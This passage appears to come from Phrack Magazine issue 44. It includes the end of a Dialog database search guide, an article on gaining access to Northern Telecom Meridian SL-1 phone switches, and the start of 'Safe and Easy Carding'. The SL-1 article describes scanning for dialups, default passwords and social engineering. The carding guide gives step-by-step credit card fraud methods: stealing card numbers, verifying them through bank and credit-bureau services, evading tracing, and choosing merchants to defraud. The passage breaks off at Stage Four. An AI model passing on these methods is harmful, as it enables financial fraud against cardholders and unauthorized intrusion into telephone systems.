14321 COMPUTER/DE

2720 CRIME/DE

95 COMPUTER(F)CRIME/DE

This shows that in the descriptor section of a search, the words computer and crime show up ninety‑five times together. They could be completely unrelated, although this is doubtful.

The L operator is used exclusively for the descriptor section. This operator simply "links" the words together. A search term looks like this:

? S COMPUTER(L)CRIME

The N operator is used similar to the W operator in that it searches for a proximity of one word from another. Here is an example of a search:

? S COMPUTER(5N)CRIME

This searches for the words computer and crime within five words of each other. Another way the N is used is to search with words that are the same, for instance the words: air‑to‑air, or protein(N)protein. The below example when using the "N" operator shows in the text just why the file would be flagged by the search program. Notice the "protein/protein".

? S PROTEIN(N)PROTEIN

... surfaces presumably as a result of dynamic process of protein adsorption and desorption and protein / protein interaction.

Sample Record

‑‑‑‑‑‑‑‑‑‑‑‑‑

In order for me to discuss critical points in a found record I first need to show the record itself. The following record was searched in the ERIC database (File number 1 ‑ ‑ $.50 per minute and $30.00 per hour).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

EJ330267 JC504091

Invitation to a Hacker.

Archer, Chalmers, Jr.; Archer, A. J. Finch

Community, Junior and Technical College Journal, v56 n4 p26‑28 Feb‑Mar 1986

Available From: UMI

Language: English

Document Type: JOURNAL ARTICLE (080)

Journal Announcement: CIKMAY86

Examines the susceptibility of computerized institutional records to security violations by "hackers," wishing to access the systems. Points to practices that encourage security abuses and risk confidentiality. Outlines procedures used by Northern Virginia Community College to protect its computer system. (LAL)

Descriptors: Community Colleges; *Computer Oriented Programs; *Computers; Confidentiality; *Confidential Records; Two Year Colleges Identifiers: *Hackers; School Records

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let us examine this search more closely.

EJ330267 : This is what is known as the Dialog Accession Number. All files contained in the Dialog system, no matter what database has an accession number. You can search for an article exactly by this. Use the index AN=. Example: S AN=EJ330267 | Will call up the above article.

Invitation to a Hacker : This is the title, use /TI as the index for this.

Archer, Chalmers, Jr. : This is the author, Use the index AU=. Example: S AU=ARCHER, CHALMERS, JR.

Community, Junior ... : This is the location, the source of the publication. Use the index SO=.

English : This is the language. Dialog lets you search for articles in different languages. Use the index LA=.

CIJMAY86 : This is the Journal Announcement. You can use the index JA=

And you know the Abstract, descriptors and identifiers. The following table shows all the indexes including the ones above for convenience.

Index Listing ‑ Part 2

Table 4

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Prefix | Field Name | Indexing |

|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| AN = | DIALOG Accession Number | Phrase |

| AU = | Author | Phrase |

| BN = | International Standard Book Number (ISBN) | Phrase |

| CD = | Conference Date | Phrase |

| CL = | Conference Location | Word |

| CS = | Corporate Source | Word |

| CT = | Conference Title | Word |

| CY = | Conference Year | Phrase |

| DT = | Document Type | Phrase |

| JA = | Journal Announcement | Phrase |

| JN = | Journal Name | Phrase |

| LA = | Language | Phrase |

| PY = | Publication Year | Phrase |

| SN = | International Standard Serial Number (ISSN)| Phrase |

| SO = | Source Publication | Word |

| SP = | Conference Sponsor | Word |

| UD = | Update | Phrase |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The TYPE Command

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The TYPE command is used to display your search results. Once you "S" the topic, you can display it in eight different formats. Each format costs a different price and varies with each database. It is usually more to display a full record than abstracts though. The command is listed as follows:

T (or TYPE) set/format/range of records

ex. T s1/5/1‑20

This will "type" the results found in s1, show the whole record (format 5), and display the first twenty records. The command can also be used to directly display an accession number as displayed in the following:

T (or TYPE) accession number/format

ex. T EJ330267/5

This will display the full record of the "Invitation to a Hacker" (the sample record). Note that most Dialog databases contain citations and sometimes abstracts of articles but NOT the full text of the article. There are some databases that do contain the full text of articles but most don't. The reason most people search these databases is to get a bibliography of articles that have been written on their topic. After reviewing the results of their search, they can decide which if any, of the articles published that they want a copy of. Obtaining full text copies of articles is referred to as 'Document Delivery' service. Sometimes you will see that the newspaper, magazine, or journal that a specific article you obtained a citation of is in your library and can just photocopy it yourself. Other times, the journal may be in another library perhaps hundreds of miles away, in which you can request it via ILL (Inter‑Library Loan). And if you have no clue where to find a copy of the source of an article, you can ask Dialog or the individual database supplier to get a copy for you, typically at a cost in upwards of $15.00 for an article from 1 to 20 pages. Fifteen bucks is a bit steep for a 2 page article, so be sure you really need it before ordering. Besides, most articles don't contain as much info that the title or abstract implies it does.

If you need direct record access, with any options in the Dialog command system, just input the accession number. All eight formats are shown in the following table.

Predefined Formats

Table 5

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Format Number | Record Content |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑

| 1 | DIALOG Accession Number | | 2 | Full Record except Abstract | | 3 | Bibliographic Citation | | 4 | Full Record with Tagged Fields | | 5 | Full Record | | 6 | Title and DIALOG Accession Number | | 7 | Full Record except Indexing | | 8 | Title and Indexing |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

User Defined Format Options

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you are not satisfied with the eight formats, you can modify the output to display exactly what you want. The command would look like the following:

ex. TYPE S3/AU,TI/1‑5

This would exclusively show the author and the title in records one through five.

The EXPAND Command

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The EXPAND command allows you to look through the database like looking through a dictionary. The command would look like this:

ex. ? E AU=CAPONE, F

Ref Items Index‑term

E1 4 AU=CAPONE, A

E2 10 AU=CAPONE, B

E3 55 AU=CAPONE, C

E4 8 AU=CAPONE, D

E5 4 AU=CAPONE, E

E6 2 AU=CAPONE, F

E7 10 AU=CAPONE, FA

E8 912 AU=CAPONE, FB

This is an especially useful term or name if you don't know exactly what you are looking for.

Conclusion

‑‑‑‑‑‑‑‑‑‑

This file should give you an overview of the Dialog Information System. I exited the hacking world shortly after The Leftist, The Urvile/Necron 99, and The Prophet were arrested in Operation Sundevil, and Digital Logic's Data Service went down permanently along with my sysop access. It wasn't until a few years later did I reenter the computer world to find a whole lot of things to have changed including my hacker ethic. I felt writing this file would be a natural progression from my original hacking talents to "hacking" on a legal basis.

I would like to thank Erik Bloodaxe (for encouragement and project ideas) and Lex Luthor (for more project ideas and editing). If you have any questions or comments my Internet address is: alcapone@mindvox.phantom.com. On IRC, I am usually on either #mindvox or #hack so look me up and say "Hey!".

Northern Telecom's SL-1

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 19 of 27

****************************************

Northern Telecom Meridian SL‑1

by Iceman

Introduction

~~~~~~~~~

This article is the first in a possible series devoted to Northern Telecom's line of Meridian SL‑1 switches. At the moment, I'm unsure if there will even be a second article, since it would consist completely of the programming of these switches, and it's not difficult for me, or anyone else to type up a manual. If you haven't heard of an SL‑1 before, to put things simply, if you have ever called a Meridian Voice Mail system, this is the computer that runs the show! Not all SL‑1's have Voice Mail features, but it makes things easier (for the electronic adventurer) if you have one that does. Now it's far more than a simple voice mail system, it's a complete phone switch, a PBX. Of course, like most computers, if you can gain access to it, the system is at your beckon call, to do what you make it do. What follows is a brief history, and technical overview of the SL‑1 series, as well as information on identifying them. If this looks familiar, a large portion of this article appeared my own magazine, Freedom, but was updated for Phrack. If you had read the issue relating to SL‑1's, you will also find basic programming information for some of the more commonly used overlay programs, it was purposely omitted in this article.

History and Technical Overview

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Development of Northern Electric's SL‑1 started in 1971. Their objective was to design a superior communications system for business subscribers in the range of 100 to 7600 stations. The system had to encompass all the features of a PBX, Centrex and key systems and be economically competitive with them. It had to have new custom services not previously feasible with the older systems. It had to be easy to learn and to operate. As well, it had to be easy to install and maintain.

What the designers came up with was a digital, stored program control machine using an 8‑bit PCM. They also came up with a new telephone instrument, the SL‑1 telephone, which is a multi‑line instrument with many features, but uses only 2 pairs of wires, instead of 25 pairs required by key telephones.

The SL‑1 system has three main parts: The common equipment (CE), the peripheral equipment (PE) and the power supplies.

The CE performs the central control and switching functions for all the connecting lines and trunks. It has a central processing unit (CPU) and read/write memory which stores all the operating programs and data unique to the particular system, including switching sequences, feature and class of service information, and numbers and types of terminals. Various models use various media to store information, ranging from magnetic tape drives to disk drives, for high‑speed loading of the operating programs and data into the read/write memory, and providing data restoration after a power failure. This media also contains the diagnostic routines, and all software needed to program the switch. There is a Teletype to communicate to the system with and to print error messages on. The network circuits perform the switching duties for all lines and trunks. The digital service circuits provide for such functions as dial and ringing tones and call conferencing.

The CE units communicate over a common central bus under control of the CPU. Speech signals, converted to digital, follow a separate path on a network switching bus.

The PE performs the interface between the line and trunk circuits and the SL‑1 system. It consists mainly of line and trunk cards which convert analog speech to digital signals for digital switching and vice‑versa. Lines connect to individual instruments and trunks to other PBX's. Peripheral buffers act as interface between the PE and the CE providing power control, timing and switching control signals for the line and trunk circuits. Digital conversion into 8‑bit PCM is done by a single encoder/decoder (codec) for each line or trunk. This codec is a custom LSI circuit.

Between the PE and the CE, all signals travel in digital format on time multiplexed loops. Each loops carriers 30 voice channels, one control signalling channel and one unused channel. The channels operate at 64 kbps to give a total data rate of 2.048 mbps. Each loops terminates on a different circuit pack in the CE. There can be up to 16 multiplex loops.

When a call is set up, the CPU assigns each party a channel from among the 30 on their own multiplex loops. These channels form a matched pair. For instance, the calling party may use channel 2 of it's digital loop, and the called party may use channel 3 of it's loop.

The SL‑1 conducts audio digitally. The line and trunk cards contain A/D and D/A converters. Received audio is changed to a digital signal and put on a voice channel. At it's destination, the digital signal is converted back to analog audio.

All programming is done from a keyboard with the output going to a printer. To program, a specific diagnostic program, called an overlay, is selected, and is automatically loaded from tape or disk. Once this is done, the appropriate commands are entered to change the options. All inputs, and SL‑1 responses are echoed on a printer or echoed out of the specified port. If any system parameters or configurations are changed, these changes will not survive a total power outage unless a new tape or disk is made.

In case of a power outage, upon restoration of power, the SL‑1 activates the tape or disk unit and loads in the system operating data, and runs some diagnostics. This takes from 5‑15 minutes, and at the end of that time, service is fully restored with all the options which were recorded on the tape or disk being implemented. Of course any user‑selected options like speed call lists and call waiting which had been selected before the outage will be lost.

Automatic diagnostics (called 'background' programs) are being run constantly with the results of any problems being echoed to output. At midnight a more thorough set of diagnostics are run. Any of the diagnostics may be run on demand from the keyboard. Also available on demand from the keyboard are a series of diagnostics to determine the status of lines and trunks, to trace calls, and to print lists and traffic studies.

SL‑1 Features

~~~~~~~~~~~~~

‑ Call Waiting ‑ Digitone (DTMF) service

‑ Ring Again ‑ Direct inward dialing

‑ Display services ‑ Direct outward dialing

‑ Tandem switching ‑ Private line service

‑ Special dial tone ‑ Remote administration and

‑ Traffic measurement maintenance

‑ Common control switching ‑ Multi‑customer group operation arrangement access ‑ Line/trunk lockout

‑ Data transmission ‑ Flexible numbering system

‑ Access to automatic recorded (2 to 4 digits)

answering equipment ‑ Pulse to DTMF conversion

‑ Access to paging equipment ‑ DTMF to pulse conversion

‑ Call forward ‑ busy ‑ Emergency transfer

‑ Call forward ‑ don't answer ‑ Hunting

‑ Call forward ‑ follow me ‑ Intercept

‑ Call pickup ‑ Manual service

‑ Conference (3 or 6 party) ‑ Night service

‑ Service restrictions

SL‑1 Telephone Set Features

~~~~~~~~~~~~~~~~~~~~~~~~~~~

‑ Autodial ‑ Automatic preselection

‑ Call status ‑ Headset connection

‑ Call forwarding ‑ Executive override

‑ Call transfer ‑ Hold

‑ Speed calling ‑ On‑hook dialing

‑ Call waiting ‑ LED indicators

‑ Tone ringing ‑ Call pickup

‑ Common audible signalling ‑ Loudspeaker/Amplifier

‑ Ring again ‑ Voice calling

‑ Hands free operation ‑ Manual signalling

‑ Multiple appearance directory ‑ 3 or 6 party conference number; multiple call ‑ non‑locking keys arrangements ‑ Single appearance directory ‑ Prime directory number number

‑ Station set expansion ‑ Privacy

‑ Privacy release

Explanation of Some Features

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Station to station calling ‑ Any station can directly call any other station without attendant assistance.

Direct Outward Dialing (DOD) ‑ Allows a station to gain access to the exchange network without attendant assistance and receives a second dialtone.

Hunting ‑ Routes a call to an idle station directory number when the called number is busy. The numbers in the hunt group do not have to be in sequence nor do they have to appear on the same instrument. The sequence can be consecutive (station directory numbers are hunted in ascending numerical order) or non‑consecutive.

Access to paging ‑ Provides a connection to customer‑owned paging equipment.

Access to Automatic Recorded Answering Equipment ‑ SL‑1 stations can have incoming messages recorded on customer‑provided answering equipment by forwarding calls to the directory number (DN) assigned to the equipment.

Direct Inward Dialing (DID) ‑ Allows an incoming call from the exchange network to reach a station without attendant assistance. The DN for each station will normally be the last 2,3 or 4 digits of the 7 digit exchange network number.

Tandem Switching ‑ The SL‑1 can act as an intermediate switching point for traffic between other PBX's.

Manual Service ‑ Does not provide a dialtone when a station goes off‑hook. Instead the attendant is alerted and completes the call for the user.

Private Line Service ‑ Permits the appearance of a private central office line on an SL‑1 Telephone set. Dialtone is received directly from the telco and calls are not processed by the SL‑1.

Multi‑Customer Group Operation ‑ Allows for the provision of services for more than one business customer from the same switching machine. Each customer is totally separate from the others, may have the same directory numbers as the others, has his own attendant console, his own trunks, and cannot directly call stations belonging to the other customers.

Service Restrictions ‑ Allows the ability to restrict various functions.

Intercept ‑ Disposes of calls which cannot be completed because of restrictions or dialing errors. They are either routed to the attendant or overflow tone.

Special Dial Tone ‑ A Regular dialtone with three 128 ms interruptions at the beginning to advise the user that his hookswitch flash has been successful.

Line Lockout ‑ Disconnects stations which have been off‑hook for too long to prevent system problems.

Night Service ‑ Allows the attendant to preconnect some or all of the incoming telco trunks to selected DN's on the SL‑1.

Emergency Transfer ‑ Puts the system in the power fail transfer mode. This transfers telco trunks to selected stations to provide some continuity of service to the outside world during the time the SL‑1 is inoperative.

Remote Administration and Maintenance ‑ Permits operation of the diagnostics from a remote location via a modem and telephone line. You may do anything from the remote terminal that you can do from the local terminal.

Call Forward ‑ Busy ‑ Routes incoming calls to another number when the called station is busy.

Call Forward ‑ Don't answer ‑ Routes incoming calls to another number when the called station doesn't answer within a prescribed time.

Call Forward ‑ Follow me ‑ Routes incoming calls to another, programmable number.

Call Waiting ‑ Informs the user of a second incoming call while he is already in conversation. He can then place the first caller on hold and answer the second call. He can then return to the first call.

Conference ‑ Allows a user to connect up to either 1 or 4 additional persons into an existing call. Up to 2 of the users may be trunks.

Call Pickup ‑ Allows a station to answer an incoming call to another station in the same pickup group by dialing a special code.

Ring Again ‑ Permits a calling station, on encountering a busy DN, to operate a dedicated key or dial a special code to have the system monitor the called station and alert him when it goes idle. He is then automatically connect to that station when he goes off‑hook or presses the key during the alert and the system rings that station.

Data Transmission ‑ The SL‑1 is suitable for voiceband data transmissions and is compatible with a conventional modem.

SL‑1 Models

~~~~~~~~~~~

Model Lines Introduced Generic Features

~~~~~ ~~~~~ ~~~~~~~~~~ ~~~~~~~

SL1‑L 300‑700 1975 x01 ‑ N/A

SL1‑VL 700‑2500 1976 x02 ‑ Multi customer operation ‑ Automatic Identification of

outward dialing

‑ Do not disturb

CDR N/A 1977 x03,x04, ‑ Call detail recording x08 ‑ Recorded Announcement

‑ Digit display console

SL1‑LE 300‑700 1978 x05 ‑ Automatic Route Selection

SL1‑VLE 700‑2500 N/A N/A ‑ Remote peripheral equipment ‑ Automatic Number Identification

‑ "E" system

‑ Autovon

SL1‑A 60‑400 1979 x06,x07, ‑ Centralized attendant service x14 ‑ Automatic call distribution

‑ Digit display SL‑1 Sets

‑ 2500 Set Features

‑ Direct inward system access

‑ Dial Intercom

‑ Message Center

‑ Hotel/Motel

‑ International Phase 1

SL1‑XL 1000‑5000 1980 x09,X17 ‑ Advanced ACD packages ‑ Multiple message center

‑ Integrated voice and data

switching

‑ Hospital/Clinic

‑ International Phase 2

ESN N/A 1981 x9000 ‑ Office data administration system

‑ Automatic Wake‑up

‑ Room status

‑ Auxiliary data system

‑ Electronic switched network

‑ International Phase 3

SL1‑M 60‑400 1982 x11 rls 1 ‑ Attendant Administration ‑ Attendant overflow

‑ Automatic set relocation

‑ History file

‑ Call park

‑ Flexible code restriction

‑ System speed call

‑ International Phase 4&5

SL1‑S 30‑160 1983 x11 rls 4 ‑ Distinctive ringing ‑ Stored number redial

‑ Async. interface module

‑ Sync. data transmission

‑ Multi‑channel data system

‑ SL‑1 displayphone

‑ Hotel/Motel

'Generic' refers to the software version. It is expressed as a 3 or 4 digit number where the first part of the number indicates the machine it is for and the second part indicates the purpose of the software and serves as a version number and also indicates the type of machine it can be used with. The 'X' stands for a 1 or 2 digit number representing the model:

1 = SL1‑L 2 = SL1‑VL 3 = SL1‑LE 4 = SL1‑VLE 5 = SL1‑A 6 = SL1‑XL 7 = SL1‑M/S 8 = SL1‑N 9 = SL1‑XN 10= SL1‑ST 11= SL1‑NT 12= SL1‑XT

Maintenance Programs

~~~~~~~~~~~~~~~~~~~~

All troubleshooting procedures, configuration changes and circuit disabling/enabling are carried out from the keyboard of a Teletype via software programs. There is virtually no physical contact with the exchange other than required to remove a defective board and replace it with a spare. Even this does not require tools.

Before running a program you must first gain access to the computer. The dialup will normally be a 1200 baud connection, with an even parity, databits of 7, and stopbits of 1 (E71). Once connected press <CR> several times key to wake the system up. The system SHOULD respond with 'OVL111 BKGD' or 'OVL111 IDLE' and now you know it's alright to login. If the response is 'OVL000' and then a '>' prompt you are already logged in, and you can go straight to loading an overlay.

Type 'LOGI' to initiate the login. Make sure when entering commands that they are all input in uppercase. The system responds with 'PASS?'. Now enter the password, (we do have a password, RIGHT?), it has a default, like everything else. The password will always be a 4 digit number, other characters are not valid. If you have correctly logged in, the system will respond with a '>' prompt. The system will display this prompt whenever waiting for operator input and is not running a diagnostic program. Once a diagnostic program is running the prompt becomes a '.' (period). If you are not logged in, there is no prompt.

What follows is an example of what you will see during login.

{ Hit Carriage Return }

OVL111 IDLE

.

.

.LOGI { Initiate Login } PASS? { Enter password, it will not echo } OVL015 { Error code for incorrect password } TTY 01 SCH MTC 16:40

OVL 45 BKGD

.LOGI { Try again }

PASS?

.

>

OVL000

>LD 22 { You are now logged in and ready to load an overlay program } { in this case we are loading overlay 22, a print routine. } PT20000

REQ TID { The REQ prompt appears, now enter your selection, in this } { case we want to print the TID (Tape ID) } TAPE ID:

LOADED XXXXXX

DISK/TAPE XXXXXX

REQ ISS { Enter ISS to view the Issue and Release number of the }

{ software/switch

VERSION 1011

RELEASE 14

ISSUE 39

REQ END { Enter END to quit this overlay }

>LOGO

>

. { Logout and hangup }

Now after gaining this information, we can determine what type of system we're dealing with. Notice that the version number is 1011. Now refer back to the listing of SL‑1 Models for the information we seek. We are logged into an x11 system (last 2 digits of the version number). Unfortunately, there are two system with x11 generics, and none of which have a release number of 14, so we're either dealing with an SL1‑M or an SL1‑S, with either a 60‑400 or 30‑160 line capability respectively. Although this information isn't extremely useful, it comes in handy when determining how large the system is.

Overlay Programs

~~~~~~~~~~~~~~~~

Upon first logging in, no program is loaded, and you must load a program (overlay) into system memory. This is done by the command 'LD' followed by a space and the overlay number. To load overlay 10 you would simply do a 'LD 10'. It will take approximately 1 minute to load the overlay into memory from tape, if the system uses a tape drive. If the system uses disk storage then it will load quickly. Once the program is loaded, a 'REQ' (request) prompt will appear. The system is now waiting for input from the administrator.

There are many different overlays which can be used, all of which are explained in the following section.

Number Name Purpose

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

10 500/2500 Type Allows new 500/2500 telephone data blocks to be Telephone generated, existing office data modified, moved to a new TN location on the same loop, or removed from the system. Standard telephone sets.

11 SL‑1 Type Allows new SL‑1 telephone data blocks to be Telephone generated, existing office data to be modified, moved to a new TN location on the same loop, or removed from the system.

12 Attendant Allows new SL‑1 attendant console data blocks to be Console generated, existing office data to be modified, moved to a new TN location on the same loop, or removed from the system.

13 DIGITONE Allows new DIGITONE and SL‑1 tone detectors blocks Receiver and to be generated, moved to a new TN location on the SL‑1 Tone same loop, or removed from the system. Detectors

14 Trunks Allows new trunk data blocks to be generated, existing office data modified, moved to a new TN location on the same loop, or removed from the system.

15 Customer Allows new customer data blocks to be generated, existing office data modified, or removed from the system.

16 Trunk Route/ Allows new trunk/ATM route and ATM schedule hours Automatic Trunk data blocks to be generated, existing office data Maintenance modified, or removed from the system.

17 Configuration Allows the configuration record to be modified to Record reflect changes in the system parameters.

18 Speed Call Allows speed call/system speed call and group call Group Call Data data to be generated, modified, or removed from the system.

19 Code Restriction Allows code restriction data block to be generated, modified, or removed from the system.

20 Print Routine 1 Allows the printing of: ‑ SL‑1 TN data blocks ‑ 500 TN data blocks ‑ attendant TN data blocks ‑ trunk TN data blocks ‑ DIG data blocks ‑ group call data ‑ templates

‑ speed call lists ‑ hunting patterns of stations ‑ unused units

‑ unused card positions ‑ terminal numbers

21 Print Routine 2 Allows the printing of: ‑ customer data blocks ‑ code restriction data blocks ‑ route data blocks ‑ a list of trunks in a route ‑ ATM data

‑ ATM schedules ‑ TN associated with CAS keys

22 Print Routine 3 Allows the printing of: ‑ the configuration record ‑ directory number to TN matrix ‑ equipped packages ‑ history

‑ password numbers ‑ ROM QPC number ‑ station category indication ‑ version and issue of generic

23 ACD/Message Allows ACD data, ACD management report schedules, Center and Message Center data to be generated, modified, or removed.

24 DISA Allows data for direct inward system access to be generated, modified or printed.

25 Move Data Allows movement or interchanges of data between Blocks loops, shelves and packs in the same customer group.

26 Do Not Disturb Allows DND groups to be formed, changed, merged, removed or printed.

28 ANI Route Allows ANI route selection data block to be Selection generated, modified, removed, or printed.

29 Memory/ Used to determine the amount of unused memory, and Management to determine if enough memory is available to add new data. Also used to respond to error messages SCH601 and 603 on Meridian SL‑1 XN systems.

49 NFCR Allows code restriction data blocks to be defined, modified, removed, or printed.

50 Call Park Allows call park data to be generated, modified, removed, or printed.

73 Digital Trunk Allows Digital Trunk Interface data to be generated Interface or modified.

81 Features/ Allows stations to be listed or counted according Stations Print to their features.

82 Hunt Chain/ Allows printing of hunting patterns and multiple Multiple appearance groups.

Appearance Print

83 TN Sort Print Allows printing of stations according to station DES.

84 DES Entry Allows the assignment of station DES (description) to 500/2500 sets.

85 DES Entry Allows the assignment of station DES (description) to SL‑1 sets.

86 ESN 1 Allows electronic switched network data defining BARS/NARS/CDP features to be generated, modified, or printed.

87 ESN 2 Allows electronic switched network data defining BARS/NARS/CDP features to be generated, modified, or printed.

88 Authorization Allows data for Basic Authorization Code (BAUT) and Code Network Authorization Code (NAUT) to be generated, modified, or printed.

90 ESN 3 Allows data for ESN network translation tables to be generated, modified, or printed.

93 Mult‑Tenant Used to enable and administer multi‑tenant service. Service For example, more than one company can use the same PBX.

Those are the main overlays used to modify setups and print the system configuration information. SL‑1's are mainly used in buildings, and by larger companies, ranging from department stores to complete office complexes. The dialups are commonly found on an extension of the PBX. You can generally come across the dialup while scanning extensions on a Meridian Voice Mail system. Meridian SL‑1's are a very common switch used on WATS lines, generally by larger companies. I've also talked to several people who have encountered the actual dialup modem to the switch on the public phone network (exchange scanning). Once you have found one, it's easy to identify with it's trademark 'OVL' greeting.

Meridian Manager

~~~~~~~~~~~~~~~~

Obviously SL‑1 administrators can't be expected to program a switch using such archaic methods, and remembering every prompt and required input. Northern Telecom has developed terminal software that makes the job easier, which replaces the traditional teletype setup with a PC running their terminal software. Each copy of the software is sold at upwards of $5000 for a site license, and you are entered into a license agreement with NT. As Northern Telecom puts it...

"Title to and ownership of Meridian SL‑1 software shall at all times remain with Northern Telecom. Meridian SL‑1 software shall not be sold outright and the use thereof by the customer shall be subject to the parties entering into software agreement as specified by Northern Telecom."

Each copy contains a serial number which matches the PBX's own serial number, thus cannot be used on any switch other than one specified in your license agreement. The software provides a user friendly method to add, remove, and modify information, without dealing with the unfriendly switch directly. Initially the software will phone the specified switch, and check the serial number of the switch. After this, it will load and run the print overlays, and ascii capture all output, building several database files locally, on your own system. After this is completed, it disconnects, and you now have the complete configuration of the switch sitting on your system. You now make the necessary modifications, and upon completion, the software again calls the switch, and updates the switches database. The software, called the Meridian Manager, comes complete with a full internal tutorial on how to use it, and is very helpful. Thanks Northern Telecom, for making it so easy!

Additional Information

~~~~~~~~~~~~~~~~~~~~~~

If you require programming information, probably the handiest piece of material that I've found is the Data Administration, Generic X11 : Pocket Reference Guide. This is a pocket book that contains a listing of all Overlay Programs, possible inputs and error codes. The reference is about 100 pages, and can be ordered from Northern Telecom, the order number being P0674785,S086/01. Social Engineering may be required.

* Meridian and SL‑1 are trademarks of Northern Telecom Limited.

Greetings to Talsfalon, Akalabeth, Okinawa, Mechanix, and all those I've forgotten. See you at hohocon, we'll be giving away one of the previously mentioned Pocket Reference Guide's at the raffle.

I can be reached at my email address, iceman@silicon.bison.mb.ca, or my own system at 204‑669‑7983.

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3

mQCNAiwKJFQAAAEEALaKeir7NjTo0SawUR5jC7EIxTl+f1Yv3AvxwmHMOC0aZJwq WHqZajrdQ0UXKS6j/2bKgFwfuo76O/KeZmuo4Q05JLRl1epO6SfGMjfSP0zR2y0n 2oSsiA9VNpI/eeZAqJpa15ItpWEXZOwNIHKvTjEqOjADwtVCvkRf68TwYncbAAUR tCNJY2VtYW4gPGljZW1hbkBzaWxpY29uLmJpc29uLm1iLmNhPg==

=BlEm

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Iceman

Safe and Easy Carding

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 20 of 27

[** NOTE: The following file is presented for informational and entertainment purposes only. Phrack Magazine takes NO responsibility for anyone who attempts the actions described within. **]

****************************************

SSSSS AAAAA FFFFF EEEEE AAAAA N N DDDD EEEEE AAAAA SSSSS Y Y S A A F E A A NN N D D E A A S Y Y SSSSS AAAAA FFF EEE AAAAA N N N D D EEEEE AAAAA SSSSS Y S A A F E A A N N N D D E A A S Y SSSSS A A F EEEEE A A N N DDDD EEEEE A A SSSSS Y

CCCCCCCC AAAAAAAA RRRRRRRR DDDDDDD IIIIIIII NN NN GGGGGGGG CC AA AA RR RR DD DD II NNNN NN GG CC AA AA RR RR DD DD II NN N NN GG CC AAAAAAAA RRRRRR DD DD II NN N NN GG GGGG CC AA AA RR RR DD DD II NN NNN GG GG CCCCCCCC AA AA RR RR DDDDDDD IIIIIIII NN NN GGGGGGGG

BY

VaxBuster

This file is ONLY to be published in Phrack, and has not and will not be released, or published in any other magazine.

And a disclaimer: I do not engage in, or condone ANY illegal activity, including credit card fraud, and this article should be used for INFORMATIONAL PURPOSES ONLY. Those wishing to engage in unlawful activities should be warned that there are severe penalties that exist that could render the remainder of your life useless.

In the past few years, I have had a ton of people come up and ask, "I want to card something, but I'm afraid I'll get caught because I don't really know what I'm doing, can u give me tips?" This article is designed for those people, people who already have carded and are looking for better/easier ways to do it. One point you'll see me address VERY strongly in this article is safety. I don't want to see any of my friends end up in jail. See, like any unlawful activity, you are going to have certain risks, and this article is designed to ELIMINATE those risks, or narrow them down tremendously. I'm going to take you step by step through the ENTIRE process from the time you pick up the phone until the time you are safely at home reading the manual to your new toy.

Stage One ‑ Getting the credit card information

Getting the information is probably going to be the easiest of all the steps involved here. You could go trashing at your local restaurant, retail store, or bank. You could open up Federal Express boxes and find them there. You could hack into an establishment and get them from there.

It doesn't really matter HOW you get it, but you want to make sure you get the person's full name, their complete credit card number, their expiration, and hopefully an address. In the event that you found the credit card number locally and just have the name, check your local White Pages for their address or use a service like Compuserve to pull up their address. You'll probably find that the address closest to the store is the right one. Also, if you can get a hold of the issuing bank, this will help.

Stage Two ‑ Verifying the credit card information

There are several ways you can do this. And remember when you are doing this that it would be VERY helpful to get the available line of credit.

1> If you have the issuing bank, call the bank and ask for their AUTOMATED CREDIT SERVICE. They ALL have them. Its an 800 number and it's printed on the back of the card. Basically, this service is set up so that credit card holders can check their available balance, available credit, etc. Usually, they have SOME kind of security that prevents the normal person from walking up and typing in someone else's number. This security is lame. You either have to know the last 4 digits of their social security number or their zip code. 99 times out of 100, you'll find that you'll need their zip code though.

2> So you don't have the issuing bank? Just use a credit card verifier with a merchant number. Don't place a HUGE purchase, it can be any amount, so make it small, like say $8.31 or something.

3> Use a 800 porn service that accepts credit cards.

4> Use a credit bureau like CBI, TRW, or InfoAM. These services are very nice because you can easily check their available credit line. It also has other information that could be useful.

Remember, when you are doing this, don't make the calls from your house, and if it's impossible to do otherwise, go through a divertor and a code. Put a couple of levels of protection between YOU and them. This will cut down on any tracks leading back to you.

Stage Three ‑ Finding the company

You are looking for a relatively small company ‑ one that has what you need in stock, but not one that needs operators to answer calls. Most places (even retail stores like Radio Shack) will ship out to anyone any place in the US. Just tell them you are handicap, or can't get around very well, and they will be more than happy to help. You want to find a place that has Federal Express. And of course, you're looking for one that accepts the type of card that you have. Incidentally, for those who are VERY new at this :

If first digit of card is a:

3 American Express (15 digits) 4 Visa (13 or 16 digits) 5 Mastercard (16 digits) 6 Discover (16 digits)

Stage Four ‑ Placing the call

